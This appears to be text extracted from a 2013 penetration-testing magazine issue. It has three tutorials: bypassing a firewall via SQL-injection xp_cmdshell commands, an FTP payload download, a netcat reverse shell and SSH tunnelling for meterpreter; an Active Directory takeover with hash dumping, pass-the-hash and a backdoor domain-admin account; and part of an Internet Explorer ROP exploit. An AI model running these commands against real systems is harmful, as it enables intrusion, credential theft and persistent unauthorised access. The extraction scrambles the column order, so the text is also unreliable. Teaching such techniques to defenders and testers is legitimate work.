When we have access to a Linux system, usually have no problem to upload files to, because normally any Linux distribution comes with wget or curl, so we just need a web server to publish the binaries
http://pentestmag.com

Page 40

and download them using any of these tools. But in Windows, things are different. By default we do not have any of these tools or similar ones. We could try to open Internet Explorer or Firefox if installed to download the file, but there is a danger that the program remains pending user interaction and not being on the screen would be a problem with that. So what I did (sure there are more ways) was to use the command ftp from windows. By default the ftp is an interactive program. When executed asks for a username and password to log in. Once you logged in, the wanted orders or commands can be introduced, ending the session with a bye. But the ftp for Windows provides the ability to use it in a non-interactively way, passing in a text file all the strings that need you to send to the FTP Server. This is achieved with -s file.txt. These are the steps I used to upload the files: First I leave a file called met.exe (reverse meterpreter payload) in a public ftp. Using the SQL injection I found, inject the following system command:
;exec master..xp_cmdshell (echo ftp& echo kk@& echo bin& echo get met.exe& echo bye) >ftp. txt;exec master..xp_cmdshell ftp -s:ftp.txt IPServerFTP; --

The /B switch of the command start prevents opening a window of cmd while running the program. There could also be called simply met. exe, but this would have left the process running the query, and for another injection would have to open a new window, because if canceled or closed it, the meterpreter session died unless it has migrated to another process.

Firewalls and Next Generation Firewalls

Today there are different types of Firewall. We can make a first classification between Network Firewall and Host Firewall. Among the Network Firewalls, there are also different types. Generally classified into three generations: 1st Generation: packet filters (stateless). They work mostly at layer 3 (network layer) of the OSI model (layer 4 just used to get the port numbers), filtering packets according to the information contained in the header (source IP, destination IP, protocol, source port and destination port). Do not keep information of current connections. 2nd Generation: Stateful Firewall. Keeps track of the state of network connections (such as TCP streams, UDP communication) traveling across it. 3rd Generation: Application level firewalls. As new technologies are emerging, the classification changes. Deep Packet Inspection (DPI) is the technology used by the (IDS / IPS) to monitor packets looking for protocol violations, viruses, spam, malware, etc. Next Generation Firewalls includes among other features DPI technology to detect and block threats. This article focus on deep packet inspection firewalls, and how to bypass the malware detection feature, to get a meterpreter remote session. Packet filtering firewalls are devices that filter incoming and outgoing traffic of a network monitoring IP addresses and ports. Basically work with access control lists (ACLs), which are static. They can do nothing against an attack via http if the http protocol is allowed on the network. Next Generation Firewalls goes far, trying to figure out the type of traffic traveling in each packet, providing IDS capabilities, content management, dynamic packet blocking, etc. Traffic inspection, is essentially based on signatures (unique patterns to each malware type that
http://pentestmag.com

This injection creates the file ftp.txt with the following contents:
ftp kk@ bin get met.exe bye

And then call the command ftp passing as parameter the -s and the file we just created. The result of this is the host will connect to the FTP server, authenticate an anonymous session, execute the command bin, execute get met.exe which will download the file in the system and end the FTP session with the bye command. At this moment we have the payload on the remote host, and we only need to run it with another SQL injection, and put a Metasploit handler on the attacker host to get a meterpreter session. This is the SQL injection we would use:
;exec master..xp_cmdshell start /B met.exe;-OPEN 08/2013

Page 41

IDS or antivirus manufacturers used to recognize such malware). So if it detects a malware signature in a package, block or reject the current connection and in some cases, warns the administrator. To accomplish this, the firewall captures every packet, check its header and data section (if any) and if everything is correct and complies with the security policy of the company, the packet is forwarded by the outgoing interface. As usual, the meterpreter payload signature can be found in most antivirus databases, as well as in IDS and firewalls signature database. That means in case a meterpreter reverse connection were launched from inside a Network with this type of protection, the payload should be detected and the connection would be rejected. This was the case I found during my last penetration test. So, what then? How to get a meterpreter session on the remote host? Both, firewalls and IDS inspect the packets content in clear. To bypass the inspection, the solution is to encrypt from end to end the data traveling in those packets, so these devices would not understand it. How to make a meterpreter reverse connection over an encrypted channel from end to end passing the firewall? This is where SSH tunnels come into play. SSH allow us to send encrypted traffic on a channel that usually firewalls allow. We need to launch an SSH connection from within the LAN to an Internet server and use that channel we created to open a reverse connection (get a shell or session on the remote machine). The first step is to analyze what we can do from the remote machine, where can we connect, what ports and protocols can we use, etc.

mote host to our local host (with public IP address) on different ports. Usually we try the most common ports like 80 (http), 443 (https), 53 (dns), 25 (SMTP), 22 (ssh), etc. We try non standard ports like 6666 to find out if there are restrictions on outgoing connections. To perform this procedure we upload nc.exe (netcat) and plink.exe (putty ssh client for command line) using ftp procedure explained before. Then, in the local host (attacker host) put a netcat listening on a port we want to try, for example port 21.
root@kali:~# nc -vvv -l -p 21 listening on [any] 21 ...

And in the remote host using the SQL injection:


;exec master..xp_cmdshell nc.exe IP_Kali 21 e cmd.exe;--

This opens a connection between remote host (any port) to local host (port 21) and spawns a cmd.exe, giving us a remote shell.

Figure 1. Netcat listening on port 21 receives a connection from remote host and spawns a shell

Analyze what allow the firewall

We know that the remote host can make connections to the Internet on port 21 (FTP), since it is precisely what we have done to upload our payload before. Usually, many firewall configurations, block both inbound and outbound traffic on a LAN, except for certain allowed services, such as world wide web, ftp, ssh, etc. Other more permissive configurations allow any connection from inside the LAN to the Internet and just blocks the incoming traffic to a non allowed services. We need to find which ports can we use to connect. To find it out, we try to connect from the reOPEN 08/2013

From this shell, we can execute commands more conveniently than using SQL injection. To see what ports we can use, just repeat the procedure trying other ports. To achieve our final goal, we need at least two ports, cause we need two different sessions, one to create the ssh tunnel, and another to execute the payload. Surely someone asks why would we do this if we already have a remote shell on the victim host?. The answer is easy. There are different techniques that allow us to escalate privileges and pivot to other systems, but a meterpreter session makes things easier, both to escalate (with getsystem) as to pivot, using the session as gateway to the victims LAN. In the present case, after making several tests with netcat I could see that from inside the LAN had unrestricted access to the Internet.
http://pentestmag.com

Page 42

SSH Tunnels

Once satisfied that we can connect any port with netcat, now is the turn of plink.exe our SSH client for windows. The goal is to make an SSH connection from the victim system, to our host (Kali Linux). And why we want to connect to our host? Easy too, because SSH allows port forwarding between hosts using the established SSH connection. As you know, an SSH connection is encrypted and firewalls usually allow it if its coming from within the LAN to the Internet. The purpose of this is to make an ssh tunnel forwarding the port 6666 on the remote host (the victim) to port 6666 on local host, making everything you send to port 6666 on the remote host going to port 6666 on local host. Now, we have to create a meterpreter payload connecting to 127.0.0.1:6666 and on the other end of the tunnel, we have to set up a Metasploit handler on port 6666 of the local IP address. Well, first lets see how SSH tunnels works. SSH allows 3 types of port forwarding, local port forwarding, remote port forwarding and dynamic port forwarding.

dress within the LAN from the SSH Server is 192.168.0.10 and the IP address of the Windows Server is 192.168.0.11. We launch or ssh tunnel like this:
root@kali:~# ssh L 6666:192.168.0.11:3389 10.10.0.1

This connects our local port 6666 to port 3389 on host 192.168.0.11 (Windows Server). Now we can connect to Server using rdesktop like this:
root@kali:~# rdesktop localhost:6666

Remote port forwarding

Local Port Forwarding

Local port forwarding allows us to open a socket on the local host connected to a port on remote host. Comunication flows from local to remote. The command syntax is:
ssh L <local port>:<remote host>:<remote port> <gateway>

Remote port forwarding creates a socket on the SSH server host connected to the host and port you specify. The host must be reachable by the SSH Server host. Basically it is the same as local port forwarding, the difference is that socket is created on the remote machine. Suppose the example above, but now instead of having access to an SSH server, we just have access to a host with an SSH client. We need to configure an SSH server on our local host and launch the client from the remote host to our server redirecting port 6666 on the local host (which now has the SSH server) to port 3389 of internal Windows host (host reachable by the SSH client remote host). The syntax is as follows:
ssh R <server port to open>:<remote host>:<remote port> <server>

Example:
ssh L 6666:www.gmail.com:80 SSH-SERVER

Example (executed from a host in 192.168.0.0/24 lan):


ssh R 6666:192.168.0.11:3389 SSH-SERVER

The above example would connect the local port 6666 to port 80 on www.gmail.com through the SSH-SERVER. If we opened the browser from local host and visit http://localhost:6666 we would access the Gmail website and Google logs would see the connection coming from the SSH-SERVER. This is very useful for a penetration test in the following case. Imagine you have ssh access to a host located on the LAN of our client behind a NAT firewall, which in turn is connected to other host on the LAN where there is a Server with a Terminal Server enabled only to receive connections from the LAN. Suppose the public IP address of the firewall is 10.10.0.1, the IP adOPEN 08/2013

After running this, the local host can launch rdesktop to connect to the Windows server.
root@kali:~# rdesktop localhost:6666

Dynamic port forwarding

This type of forwarding creates a SOCKS proxy on the specified port on the client host that can be used by programs such as proxychains to reach remote networks using the tunnel as gateway. The syntax is:
ssh D <port> <server> http://pentestmag.com

Page 43

Example:
root@kali:~# ssh D 9050 10.10.0.1

You cant avoid this, but you can go arround. We can invoke plink.exe for the first time against a host like this:
C:\>echo y | plink.exe l user pw password SSHSERVER

This example creates a SOCKS proxy on port 9050 on the local host from which we can reach any port of any host within the SSH Server LAN (we can reach any host the SSH Server host can reach). Following with the same scenario, now we configure proxychains to use the port 9050 of localhost, and then reach the terminal server at 192.168.0.11 with the following command:
root@kali:~# proxychains rdesktop 192.168.0.11

After seeing how SSH tunnels work, it is quite clear that what we need to make the connection from the remote host to our attacking host, using local port forwarding to open a port on the remote host that connect to a port of our local host. SSH is an interactive command. When we invoked it to connect to a remote host, first check the RSA signature of the host and if it does not know that host, asks if you want to connect. If yes, then asks the password for the user you specified when invoking the command. When working from a console achieved via netcat or directly from SQL injection, we cant use this type of interactive commands because do not have access to the various standard file descriptors and therefore the command will wait for a response that can not be sent. To fix this, we can invoke ssh (were talking specifically about OpenSSH, which is the most widely used SSH package on Linux http://www.openssh. org/) with the -o UserKnownHostsFile =/dev/null -o StrictHostKeyChecking=no to not check the signature of the remote server, and also in the case of ssh Unix/Linux, we can put the public RSA key of the user who attempt to connect to the remote host in the file .authorized_keys so we do not ask for the password. In this case, we will use plink.exe from Windows. Here you can specify the -l user -pw password to pass the username and password without having to copy the RSA keys. Plink is the command line version of an SSH client known as Putty, widely used in Windows environments. Plink offers no parameter to avoid checking server key, so first time we connect to a new host will show the save RSA message.
OPEN 08/2013

OpenSSH and Putty

The command will invoke plink.exe and when asked if you want to add the unknown server key to the cache, it will pass the character y and plink will save the key and will go with its normal execution. Since then, we have gotten the remote host key in the host putty cache, which can be found on Windows registry, in the key HKEY_CURRENT_ USER\Software\SimonTatham\PuTTY\SshHostKeys. If you need to open a second SSH tunnel against the same host, invoke the echo y is no longer necessary. Well, suppose the following scenario (for demo purposes we use two private IP address ranges. 10.10.0.x stands for public addresses): Public IP attacker machine: 10.10.0.10 Firewall public IP: 10.10.0.20 Network IP LAN: 192.168.65.0/24 Private IP Firewall: 192.168.65.254 Private IP from host behind the firewall: 192.168.65.10 Private IP from second host behind the firewall: 192.168.65.15 First, we create our meterpreter payload pointing to port 6666 of 127.0.0.1 (localhost). This payload when invoked from a Windows host will make a connection to itself (127.0.0.1) on port 6666.

Figure 2. The creation of a meterpreter reverse tcp shell in binary form with msfvenom

We upload this payload, plink.exe and nc.exe to the victim host. Once uploaded the three files, first make a connection with netcat to have a console where execute commands cause will always be more comfortable than any SQL injection or PHP Shell. Note that the connection to our host comes from 10.10.0.20, but the IP of the remote host is 192.168.65.10. That is cause the host is behind a NAT Firewall.
http://pentestmag.com

Page 44

handler will come through the tunnel and therefore will be from the end of the tunnel on the host itself to port 6666.

Figure 3. Establish a remote session using netcat

Figure 6. Configuration of the Metasploit multi handler to get the reverse meterpreter session

Now using plink.exe we must create an SSH tunnel to connect the port 6666 of the remote host (compromised host) to port 6666 on the local host (port numbers can be any, but then you have to create the payload to use those you decide).

Once the entire stage set, just execute the payload met.exe on the remote box. Once executed, the handler on the local host will receive the connection and send the stage for opening the session. The following picture shows it.

Figure 7. Meterpreter reverse session opened on the attacker host

Figure 4. Establish an ssh connection back from remote compromised host to attacker host forwarding port 6666 on remote host to port 6666 on attacker host

Once the SSH connection established, you can see port 6666 in windows machine in LISTENING state.

BINGO!!! We have a meterpreter session on the remote host bypassing the next generation Firewall. As seen in the image, Metasploit sees the connection coming from 10.10.0.10 (the IP of the host itself). This is because the connection comes through the SSH tunnel. Once we achieve our goal, we can use this session to pivot and try to attack other boxes on the local network 192.168.65.0/24. On the meterpreter session we can use the script arp_scanner to find hosts on the network to attack. The following figure shows the operation of the script.

Figure 5. Port 6666 open and listening on remote compromised host

Now on the local host (attacker), we set up a Metasploit handler with the same payload that we have created and uploaded to the windows box listening on port 6666 (the port that we configured in the ssh tunnel). As LHOST put the IP of the local host because the connection to the
OPEN 08/2013

Figure 8. Using arp_scanner meterpreter script to discover more hosts on the compromise network

The next picture shows how to escalate privileges using getsystem meterpreter command, how to capture the auth hashes of the compromised box, and how to add a route to Metasploit for using
http://pentestmag.com

Page 45

the opened session (number 1 in this example), to reach the 192.168.65.0/24 network.

Figure 9. Escalate privileges with get_system, dump hashes from compromised host and configure a route in Metasploit to reach the remote network from the attacker host

After adding the route, we can use any Metasploit module (psexec comes to my mind) against hosts on the LAN, but that is beyond the scope of this article.

Conclusions

I think we all agree that every company needs a firewall that separates their local network from the Internet, but we must be aware that a firewall can not be the only element of network security. In this article we have seen how in some cases the firewall detects malicious code and is capable of blocking the connections, but also demonstrated how easy it is to bypass this restriction. A firewall, even the most expensive one cant protect an entire network infrastructure from being attacked. It must be one element of the companys security policy, being the first line of security between the Internet and the LAN, but not the only. The better choice, is the deployment of a defense in depth strategy, which means it must be implemented so many layers of security as possible (like an onion), always keeping in mind the value of what we are trying to protect and the cost of the security measures deployed. So, all network infrastructure should have various security measures. Based on my experience as a consultant, I would recommend at least the following: Perimeter Firewall (first line of defense). It must bear all required network traffic, and the more features possesses the better. Traffic Monitoring System (We must try to be aware of everything that goes through our network in real-time if possible, but it can be
OPEN 08/2013

very expensive. Passive monitoring can be very useful, while more economical). It will allow us to find anomalous behavior within the LAN, caused by possible failures, malware or intruders. A network Antivirus and Antimalware. Usually in the firewall itself, or the router if they are separate devices. Host Antivirus and Antimalware. Although it is known that only really serve to identify old threats, this component will prevent hosts from becoming infected with most malware and viruses on the Internet. They will not help much against a targeted attack, but will force the intruder to try harder. DMZ. If we have hosts exposing services to the Internet, it is more than advisable to create a demilitarized zone (DMZ) where place those hosts, separate from the LAN by a fire wall (Firewall may be the same perimeter that has 3 zones, or another Firewall). Periodic review of the security elements and policies (the measures that work today maybe dont work against tomorrows attacks). It is recommended to pass a Penetration Test once a year or two, especially if we publish services and hosts to the Internet.

My name is Ignacio Sorribas, I am Computer Engineer from the Universitat Jaume I in Castelln and computer security specialist with over 7 years of experience and CISSP , OSCP , CCNA and CCNA Security certifications. My specialty is Penetration Testing in Web environments and data networks. Currently working as a Senior IT Security Analyst (PenTester) in Advanced Technologies for Security SLU (AT4Sec). I am also an external teacher of Security courses in Universitat Politcnica de Valencia (UPV) and Universitat Jaume I de Castelln (UJI), where I show PenTesting techniques and tools, focusing on Metasploit Framework and related tools. At UPV, participate in the Computer Security Course from the Lifelong Learning Centre (CFP), and at UJI, participate on the Security Course Attack and Defense from the Enterprise University Foundation (FUE). I am also a proud father and husband. I have two little boys (hackers in way) and a wonderful wife. In my free time, I like to practice all the sports that I can, whether running, playing handball, go biking, etc.. My great passion is kiteboarding, but unfortunately I can no longer spend much time on it.
http://pentestmag.com

IgNacio SoRRibas

Page 46

Taking Over an Active Directory


As Pentesters and Security Specialists, we often come across a need to secure infrastructure. This need is caused by the fact that our systems are constantly at risk from either internal or external attacks. After a while, some find themselves saying 'It won't happen to me' and 'What are the odds of that to happen?'

Article comes from Pen Test EXTRA. Download the complete issue.

e spend a bucket-load of money purchasing state-of-the-art defense technology and feel that we are safe, that nothing can hurt us. As time goes by and the infrastructure grows, more and more holes are created and it keeps getting harder and harder to keep track of all the new updates and patches that come out. Without proper implementation of patch management security holes, which turn into security risks, emerge and give hackers (from inside and outside) chances they need to infiltrate. 'But hey, come on, we're all pros, right? What's the worst that could happen?' The attack, which I will demonstrate, presents a simple scenario where we do a simple takeover of an active directory while using only backtrack and our knowledge, of course. Our scenario describes a situation in which an attacker is outside an organization, possibly in a coffee shop nearby, sitting somewhere else within the range or has plugged a network cable to the wall. This could be the case of Blackbox penetration test or something similar. The point is that our knowledge of the target system is limited, whereas possibilities are great. The following demonstration reminds a checkmate in four moves, that is a complete takeover
OPEN 08/2013

with just a few steps, which take about 8-10 min to be executed.

Scenario

Although I listed the network diagram (see Figure 1), we do not know how many computers there are or what is on them. We will need to find that out. Please, note that, even though this is a relatively small scenario and the systems were not hardened properly, the Operating Systems and software that are in use in this demo are real.

Figure 1. Network diagram


http://pentestmag.com

Page 48

1. We scan our network using NMAP and try to discover the computers and open ports (see Figure 2). If the system was properly hardened, we would get no results (blocked by firewall) or get results that are mostly false-positive (such as F-5 web application firewall). In that case, we might use social engineering to either open ports or disable the firewall, or we could try to use DDoS (Distributed Denial of Service) in order to take the firewall down (not perfect, but might work sometimes). 2. At this point, we can start classifying our newly discovered computers. As we can see on Figure 2, both use Windows based OS (port 445 microsoft-ds). What we can also see, is that one might be a server and the second is a PC. 3. We open Metasploit (in this case, the GUI version Armitage) and add our discovered hosts (see Figure 3).

A Few Words About Metasploit And The Difference Between The Armitage And The Metasploit CLI (msfconsole)
Metasploit is an open-source and powerful framework that is mostly used by penetration testers as a Swiss army knife, all-in-one set of tools that provides a variety of scanners, exploits, payloads and post-exploitation modules. Most of the modules are customizable, what gives the user an ability to use Metasploit in various scenarios. The Metasploit framework has an internal, mod-

ule based, updatable exploit database with an ability to integrate new modules by programmers (what is beyond the scope of this article). Pentesters can use Metasploit for simple tasks, such as: scanning for open ports (based on NMAP) all the way to stealing credentials, exploiting various discovered vulnerabilities, inserting backdoors and performing post-exploitation, all in one framework. The Armitage is a Graphical User Interface (GUI) and as such shows things more clearly than its Command Line Interface (CLI) counterpart. For instance, the Armitage presents scanned computers in a user-friendly and informative manner. Starting with black screened monitors (for computers whose OS was not, or not yet discovered), the Interface will present monitors displaying an informative photo (Windows for Windows OS and Linux for Linux OS). It offers a list of its tools (by default on its left side), to be launched against the discovered computers and systems and is equipped with a special operations such as 'Hail Mary', what makes it easier to use for beginners. The Armitage as well contains tab-based console windows for using both the graphic and textual tools. The Metasploit CLI is faster than its GUI counterpart due to the lack of need for graphic manipulations, and as such, might be used remotely (depending on the scenario). While the GUI tend to

Figure 2. Results of NMAP


OPEN 08/2013

Figure 3. Armitage adding and discovering hosts


Page 49

http://pentestmag.com

clutter up the display, the CLI provides less cognitive load and helps focusing on the target, what makes it, in my opinion, better suited for more advanced users. You will find some basic Metasploit operations (both for Armitage and the CLI) in Table 1, but there are much more commands that are available. We start off by running a 'Hail Mary' attack to unleash Armitage's smart automatic exploitation against the two computers that we have previously discovered and added. The 'Hail Mary' helps us to quickly throw against the machine everything we can to gain the access, instead of using testing scanners and exploits at step by step manner. It runs in a few phases: searches for applicable exploits, launches them and launches payloads (such as Meterpreter). The main reason why we would like to use such a tool is its automation, where we get high results with small amount of effort on our side, rather than doing everything manually (load and execute scanners, configure applicable exploits with the Meterpreter payload, for example, and launch against our target(s)). If the computer was properly hardened, the 'Hail Mary' would have made no progress, most or all exploit would have failed, and we would not have got a Meterpreter session. This could be achieved by keeping the system and its applications as upto-date as possible, by avoiding installation of any unnecessary applications and by disabling unnecessary services. Should 'Hail Mary' fail, we could try to update Metasploit to give it more up-to-date vulnerabilities or try step by step searching for more exploit that might have eluded 'Hail Mary'. We can also

use social engineering to install applications that might provide vulnerabilities (old and outdated applications). At this point, we are still not inside. We need to start going, munching inside and gaining control of at least one of the computers. The result the XP Computer is ours. In the Figure 4 we can see that we have a Meterpreter session now open against the XP Computer. This is not a lot but we gained a foothold inside now.

A Few Words About The Meterpreter (The Meta-Interpreter)

The Meterpreter is an advanced payload that is included in the Metasploit Framework. Its purpose is to provide complex and advanced features. The Meterpreter is a special command shell (an established session) that allows the attacker to perform

Table 1. Basic Metasploit operations

search xxx Searches the DB for related modules (xxx stands for the required module); for example: search psexec use xxx loads a module (xxx stands for the required module); for example: use exploit/windows/dce show options shows the modules options; set xxx yyy sets the xxx parameter with the yyy values; for example: set RHOST 192.168.2.1 run/exploit runs the loaded module (after configuring); sessions -v shows the current established sessions with Meterpreter.

Table 2. Basic Meterpreter commands

help displays the Meterpreter help menu; background sends current Meterpreter session to the background and return you to the msf prompt; clearev clears the Application, System, and Security logs on Window systems; download downloads a file from a remote machine (note the use of the double-slashes when giving the Windows path); edit opens a file located on the target host; (it uses the 'vim' so all the editor's commands are available); execute runs a command on the target; upload uploads a file into the target (as with the 'download' command, you need to use doubleslashes with the 'upload' command). The payload issued a reverse tcp bind which makes the target computer issue a tcp session request towards the attackers computer, those bypassing certain firewall rules if misconfigured. Note: using getsystem will make the Meterpreter to try and get local system-level privileges

Figure 4. Armitage Meterpreter session is opened against one of the computers


OPEN 08/2013 Page 50

http://pentestmag.com

advanced operations such as: stealing credentials, uploading and downloading files to/from the target, clear the event log (on windows machines, for 'housekeeping'), taking a snapshot of the webcam, taking a screenshot and many more! The Meterpreter is a textual tool, so it is available on both Armitage and the msf. You will find some basic Meterpreter commands in Table 2. As seen in the Figure 4, we took advantage of the SMB protocol, what implies that the system has not been properly hardened. In a real time scenario however, it might not be as simple to take advantage of a computer that is regularly maintained. Although, our real target might be a public computer that is connected to both the internet and internally or a computer of an uneducated employee who does not follow security protocols. Now, we need to start digging and escalate our privileges to a domain-level user with as much power as possible. Now, we interact with our Meterpreter session and use the Hashdump command, as shown in Figure 5. The reason for choosing to use hashes is that we could take an advantage of such vulnerabilities as 'Pass the Hash', which is a hacking technique that allows an attacker to authenticate to a remote server/service by using the underlyingNTLM and/orLanManhashof a user's password, instead of requiring the associatedplaintextpassword as is normally the case. We might try to brute-force users and passwords but, us-

ing strong hashes and encryption, such an attempt requires very strong processing power and still takes a lot of time. The reason for which the hashdump and similar tools work, is because of the caching mechanism that is used by windows, which by default caches locally passwords in their hash form to be used when the AD is unavailable (due to maintenance or 'on the go' scenarios) or for faster login. However good the idea sounds, in terms of performance, it might not be advised for the security standpoint. Now, we face a problem. We only see hashes of local users but we need domain-level users. Even if we try some advanced Meterpreter commands, odds are that we will not get the hashes which we need. That is why we have to get tricky. To help ourselves, we inject (using the upload command) a little software called 'gsecdump'. We download gsecdump to our backtrack machine first. While the Meterpreter session is open, we use the upload command to inject the tool to any folder that we want, since Meterpreter has gotten system-level privileges (I chose to upload it to c:\\windows\\system32 because it is the default location that we get to after accessing the windows shell under system account).

Credential grabbers are generally used by attackers and pen testers for privilege escalations, that is obtaining stronger privilege and permissions on a system or network, necessary for access and system manipulation. The stronger the permissions and privileges are, the more can be done. Since the OS stores such information as logons and hashes (of many applications), it is possible, with enough privileges to extract them. gsecdump is a tool for extracting hashes from SAM/AD and active logon sessions. It can also extract LSA secrets.

A Few Words About Credentials Grabbers And 'gsecdump'

Table 3. Common gsecdump options


USAGE: gsecdump [OPTIONS] Common options:
-a / --dump _ all dump all secrets;

-s / --dump _ hashes dump hashes from SAM/AD; -l / --dump _ lsa dump LSA secrets; -u / --dump _ usedhashes dump hashes from active

logon sessions; connections.


/

-w

--dump _ wireless

dump Microsoft wireless

Figure 5. Armitage Hashdump results


OPEN 08/2013 Page 51

http://pentestmag.com

Note that if the system was hardened better, there would have been no cached administrative credentials on the computer (or even none at all), what would have prevented the ability to use this technique for privilege escalation (another approach might be to use a keylogger to capture keystrokes). You will find some of its common options in Table 3. When we upload the file and run it (changing to a windows shell using the command shell from our Meterpreter session), we get what you can see on Figure 6. As we can see, system's administrator has made a fatal error and has previously entered locally with the Domain Administrator's account, causing the system to cache the hash. Now, we can use the hash to execute an attack called Pass the Hash which takes advantage of

the fact that some systems accept passwords that are sent to them as hashes (such as PSEXEC). In short, this technique, instead of passing the plaintext password, passes the hash which is acceptable by some authentication mechanisms. When using this technique, we do not need to brute force the hash (for more information regarding this technique visit: http://www.infoworld. com/d/security/defeat-dreaded-pass-the-hash-attacks-179753). Now we can use our newly found hash and run a PSEXEC command from within the Armitage (That takes the parameter SMBPass, which is given the hash). We have taken over the AD Server now (see Figure 7), but we are not quite there yet. We are inside but using a locally System account. However we used a hash, which might has gotten us this far, most applications do not use this authentication method. The system account, which we have acquired, is for local use only and is not a domain user so, although we are inside the AD server, we are not inside a domain. We need to get a domain-level user of our own, to use it as a backdoor. A backdoor is usually used to get an easier way in, should an attacker or pentester require it in the future. Our next step will be to change to Shell (using the shell command) and run the two following commands:

Figure 6. Armitage gsecdump results: Domain Administrator

Figure 7. The Armitage second Meterpreter session against the AD


OPEN 08/2013

Figure 8. RDP Client


http://pentestmag.com

Page 52

Net user Attack P@SSw0rd /ADD /DOMAIN. Net Group 'Domain Admins' Attack /ADD /DOMAIN.

These two commands are common among administrators and personnel that work with user-related issues, but, as we can see, may be used for malicious actions. This will give us a backdoor user with Domain admin privileges. The final step of our attack is to use an RDP Client and win.

Conclusion

As we can see, with just a few steps, we have managed to take over an infrastructure with little effort on our side. In a real scenario, when attack is performed against a real environment, the results of having our AD taken over and the attacker having gained the full access as a Domain-Admin, might and will prove to be catastrophic. After an attacker has taken over an active directory, he can further exploit the system by, for instance, installing worms, viruses, rootkits and others, install tools such as Cain and Abel, opening ports on the firewall, searching for sensitive documents (financial documents, private documents, system and network diagrams etc.) and much more.

Has years of experience as a System Administrator and Integrator, he have been working mostly with Windows OS and Linux OS, working with many AD environments, integrated with other Microsoft-related products. Computer Programmer, best at C# language. He is Information Security Consultant at Defensia Company now, advising customers in Information Security related issued, pentesting, vulnerability assessment, code review and many more. He works also as Instructor for Defensia Company in many Information Security related issued.
OPEN 08/2013

Gilad OfiR

MS Internet Explorer
Same ID Property Remote Code Execution Vulnerability
In this article you will learn about concepts behind Internet Explorer memory corruption, what kinds of bypass techniques are used to launch buffer overflows, heap based and stack overflow attacks and return oriented programming concepts to exploit remote code execution vulnerabilities. You should know memory structure, DEP (Data execution prevention), ASLR (Address space layout randomization) and exploitation methods to corrupt memory, Metasploit familiarization, return oriented programming basics.
eb browser vulnerabilities are widely exploited by attackers and often lead to a complete compromise of the target computer. Local or remote vulnerabilities can be exploited by sending a specially crafted webpage which makes a victim infected if it is exploited successfully. Microsoft recently released a cumulative security patch bulletin for twelve Internet Explorer vulnerabilities which can be exploited by an attacker if a user views a specially crafted webpage. If any of the vulnerability is exploited by an attacker then same privileges of target computer can be obtained and it can be severely hampered by an attacker. The affected IE remote code execution vulnerabilities are as follows: Center Element Remote Code Execution Vulnerability CVE-2012-1523 HTML Sanitization Vulnerability CVE-20121858 EUC-JP Character Encoding Vulnerability CVE-2012-1872 Null Byte Information Disclosure Vulnerability CVE-2012-1873 Developer Toolbar Remote Code Execution Vulnerability CVE-2012-1874
OPEN 08/2013

Article comes from Pen Test EXTRA. Download the complete issue.

Same ID Property Remote Code Execution Vulnerability CVE-2012-1875 Col Element Remote Code Execution Vulnerability CVE-2012-1876 Title Element Change Remote Code Execution Vulnerability CVE-2012-1877 OnBeforeDeactivate Event Remote Code Exe cution Vulnerability CVE-2012-1878 Insert Adjacent Text Remote Code Execution Vulnerability CVE-2012-1879 Insert Row Remote Code Execution Vulnerability CVE-2012-1880 On Rows Inserted Event Remote Code Execution Vulnerability CVE-2012-1881 Scrolling Events Information Disclosure Vulnerability CVE-2012-1882 Internet explorer does not handle the objects in memory properly therefore creates a vulnerability which could be further exploited by an attacker, we have shown some of vulnerabilities like HTML sanitization vulnerability, null byte information disclosure vulnerability which reveals the memory corruption shown in internet explorer, we will be showing that same ID property remote code execution vulnerability can be exploited easily. Same ID property remote code execution vulnerability is caused by memory mismanagement
http://pentestmag.com

Page 54

of internet explorer, this happens when a program returns a surplus block of memory to the operating system, so that it can be allocated again later, but nevertheless carries on using it, by which time it may unexpectedly have been altered and exploited. When an object having a specific id is deleted then it is not completely removed from memory and if an attacker calls the same object with same ID which bypasses the data execution prevention and address space layout randomization because there is no code injection involved therefore it becomes difficult to prevent using ASLR and DEP process. DEP allocates memory blocks so they can be used for data only, not for executable code, which reduces the surface area into which hackers can inject their malicious shell code. ASLR loads software modules such as DLLs into memory at randomized locations which makes difficult for an attacker to find such functions like URLDownloadToFile () and CreateProcess () but we use ROP return oriented programming.ROP finds small fragments of code in already loaded or executable memory which can be merged together so that it can be malicious and clumsy and then it will be jumped using RETURN instruction. DEP prevents code from running in system-allocated memory, but it doesn't prevent code from being jumped to via code pointers stored in execution prevented memory. DEP and ASLR cannot stop remote code execution therefore it is exploited. Memory corruption attacks are used to launch buffer, stack and heap overflows. Ordinary programs are executed once the EIP value (instruction pointer) is known. These days, simple buffer overflow, heap overflow and stack overflow attacks are not possible to launch since DEP and ASLR do not allow you to change the value of the EIP. With that in mind, we will show how to use return orient-

ed programming and the return-to-libc process to control the ESP (stack pointer) and exploit memory corruption vulnerabilities. Ordinary program is executed once the value of EIP (Instruction pointer) is known and DEP and ASLR wont let you change the value of EIP and inject the exploit code therefore return oriented programming is used which controls the ESP (stack pointer) and the memory corruption is accomplished. This process requires an old JRE (Java runtime environment) which is non-ASLR and associated with msvce11.dll. The msvce11.dll library .dll file will be exploited as Internet Explorer cannot handle same property id objects. As a result, IE crashes and allows remote code execution. If Java is not installed on the target computer, this attack cannot be executed. Lets see how this internet explorer same id deleted property vulnerability can be exploited: In our demonstration, we will be using a Metasploit module to exploit this vulnerability. Since most of the common operating systems (Windows-XP, Vista, 7 with IE 6, 7, & 8) are affected, we have selected the following computers: Operating System: Windows 7 Internet Explorer: IE 8 Attacker Machine: Backtrack-5 R3 Metasploit Module: Metasploit/exploit/browser/ ms12_037_sameid

The exploit code is shown below (written in Ruby):


msvcrt ROP', { 'Rop' =>: msvcrt, 'RopOffset' => '0x5f4', 'Ret' => 0x77c15ed5 # xchg eax, esp # ret # from msvcrt.dll } ], [ 'IE 8 on Windows XP SP3 with JRE ROP', { 'Rop' =>: jre, 'RopOffset' => '0x5f4', 'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll

Figure 1. Exploitation commands on Metasploit


OPEN 08/2013

The initial exploit code indicates the exploitation method used ROP/JRE. In this case, we have chosen to exploit msvcr71.dll and JRE; and to change the address of the ESP which is the first
Page 55

http://pentestmag.com

step to launch the return oriented programming attack and exploit the memory corruption without code injection. The Metasploit exploit code is used to attack the victim who is forced to visit the specially crafted webpage and this specially crafted webpage is nothing but Metasploit exploit code which is hosted to invite victim so that same id property deleted remote code execution vulnerability can be exploited.

We will use the following commands to load the exploit module:


